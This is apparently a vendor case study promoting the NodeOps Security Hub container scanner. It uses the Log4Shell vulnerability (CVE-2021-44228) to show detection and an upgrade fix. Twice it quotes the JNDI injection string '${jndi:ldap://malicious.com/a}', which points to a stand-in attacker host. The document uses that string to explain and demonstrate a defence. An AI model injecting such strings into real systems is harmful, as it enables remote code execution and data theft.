Case Study: Detecting and remediating the Log4j vulnerability with the NodeOps Security Hub

With the release of NodeOps Security Hub, you can harden your security with NodeOps’ AI-powered vulnerability scanner. This decentralized container vulnerability scanner, powered by NodeOps Network’s cutting-edge decentralized Compute, is designed to protect your applications from vulnerabilities. Whether you're a retail user logging the apps you rely on, or a developer securing your infrastructure, our vulnerability scanner delivers robust, AI-powered security that's easy to use.

To demonstrate the effectiveness of this security solution, this case study presents how our scanner detects and helps fix critical vulnerabilities, such as the infamous Log4j vulnerability (CVE-2021-44228), to ensure that your containers remain secure and compliant.

Background

In late 2021, the cybersecurity world was shaken by CVE-2021-44228, a critical remote code execution (RCE) vulnerability in Apache Log4j, a widely used Java logging library. This flaw allowed attackers to execute malicious code remotely, putting millions of applications at risk.

Given Log4j’s integration in countless applications and Cloud services, the vulnerability’s impact was vast, affecting millions of devices and nearly all enterprise Cloud environments.

The Threat

The severity of the Log4Shell vulnerability stemmed from three factors:

• Pervasiveness: Log4j is embedded in a wide range of software, from enterprise platforms to consumer applications.

• Simplicity of exploitation: Attackers could trigger the vulnerability by injecting a malicious string (e.g., ${jndi:ldap://malicious.com/a}) into any input field that would be logged, such as HTTP headers or chat messages.

• Breadth of impact: Successful exploitation could lead to full system compromise, data theft, ransomware deployment, or destruction of data.

Let’s double-click on how our decentralized vulnerability scanner makes it easy to detect and fix vulnerabilities like Log4j, ensuring your containers remain secure.

Demo: Reproducing and Resolving Log4j

Let’s walk through a real-world scenario where we:

1. Reproduce the vulnerability: Build a Java application with a vulnerable Log4j version and simulate an attack using a malicious input (e.g., DNS resolution).

2. Scan with NodeOps: Use our Security Hub to detect the Log4j vulnerability in the container image.

3. Fix and Verify: Apply the recommended fix, and rescan to confirm the vulnerability is resolved.

Environment

• Container Base: openjdk:11

• Build Tool: maven:3.8.4

• Vulnerable Libraries:

  • log4j-api:2.14.1

  • log4j-core:2.14.1

Step 1: Reproduce the vulnerability

We created a sample Java application that uses Log4j 2.14.1 and accepts environment variables as input. By injecting a malicious input (e.g., ${jndi:ldap://malicious.com/a}), attackers could exploit the vulnerability to trigger unauthorized actions, such as DNS lookups. We verified this using a local DNS server to capture the request.

Code: View the vulnerable code on GitHub

Step 2: Scan with NodeOps Security Hub

Our vulnerability scanner analyzed the container image and flagged the Log4j vulnerability (CVE-2021-44228) using data from open-source CVE databases. The AI-powered report highlighted the severity, affected components, and suggested fixes.

Figure 1: Sample scanner output

Step 3: Fix and rescan

Following the scanner’s AI-driven recommendations, we upgraded Log4j to a secure version (2.17.1) and rebuilt the container image. A rescan confirmed the vulnerability was resolved, and our notification system alerted the team via Slack.

Fix Instructions: See how we fixed it.

Figure 2: Post-fix scanner output

Result: No Log4j vulnerabilities detected! The application is now protected from this critical exploit.

Lessons Learned: Continuous Scanning is Essential. The Log4j incident underscores the need for automated, frequent vulnerability scanning of all container images and dependencies. NodeOps’ integration with real-time vulnerability databases and CI/CD tools ensures that anyone from a solo developer logging the apps they rely on to enterprises scanning containers remain protected against emerging threats.

Why NodeOps Security Hub?

Containers are the backbone of modern applications, which also makes them prime targets for attackers. Misconfigurations, outdated libraries, or vulnerabilities like Log4j can expose your systems to catastrophic risks. Our scanner, built on NodeOps’ decentralized Compute network, combines industry-leading vulnerability databases, AI-powered analysis, and real-time updates to deliver:

The Log4j vulnerability is just one example of the threats lurking in modern software. With the NodeOps AI Security Hub, you get a powerful, decentralized, and AI-enhanced toolkit to stay ahead of attackers. Harden your security with:

• AI-powered remediation: Get intelligent, context-aware suggestions to fix vulnerabilities quickly and efficiently.

• Frequent scanning: Automatically scan container images whenever changes are detected, ensuring no vulnerability slips through the cracks.

• Automatic rescans: Stay updated and ensure your containers are always protected against the latest threats.

• Act fast: AI-driven insights and customizable notifications help you resolve issues before they become breaches.

• Comprehensive scanning: Detects vulnerabilities in container images using trusted open-source databases.

• AI-Driven insights: Analyzes scan results and suggests actionable fixes, powered by advanced AI to prioritize critical issues and reduce remediation time.

• Customizable notifications: Receive instant alerts via your preferred channels (e.g., email, Telegram, Discord, Slack, or webhook for dev and opsx ) when vulnerabilities are detected or resolved.

• Secure CI/CD pipelines: Integrate scanning into your workflows to catch vulnerabilities early.

• Cron-based scheduling: Seamlessly integrates into CI/CD pipelines with cron-based schedules to maintain continuous security without manual intervention.

• Scalable and secure: Runs on NodeOps’ decentralized Compute network, ensuring high performance and robust security without centralized bottlenecks.

Get Started Today

Ready to secure your containers with the power of AI and decentralization? Join the NodeOps Network Marketplace to start scanning or jump into the docs to get started.

For developers, check out our GitHub repo for the full Log4j demo code and set up instructions. Integrate our Security Hub vulnerability scanner to harden your security profile and reduce your attack surface today.

About NodeOps

NodeOps is the leading AI-powered DePIN Orchestration Layer:

• Ranked in the top 4 DePIN projects in 2024 and in the top 3 recurring revenue projects in 2025

• Over 700K verified users

• Current revenue of $3.7+ million ARR

NodeOps Network offers a comprehensive suite of services, including NodeOps Cloud and NodeOps Console, a Node-as-a-Service leader. The full product suite covers retail, developer, and B2B needs in the Web3 ecosystem and beyond. The platform's success is underpinned by partnerships with industry leaders such as Arbitrum, EigenLayer, 0G Labs, and Polygon.

For more information, visit NodeOps.Network or contact business@nodeops.xyz.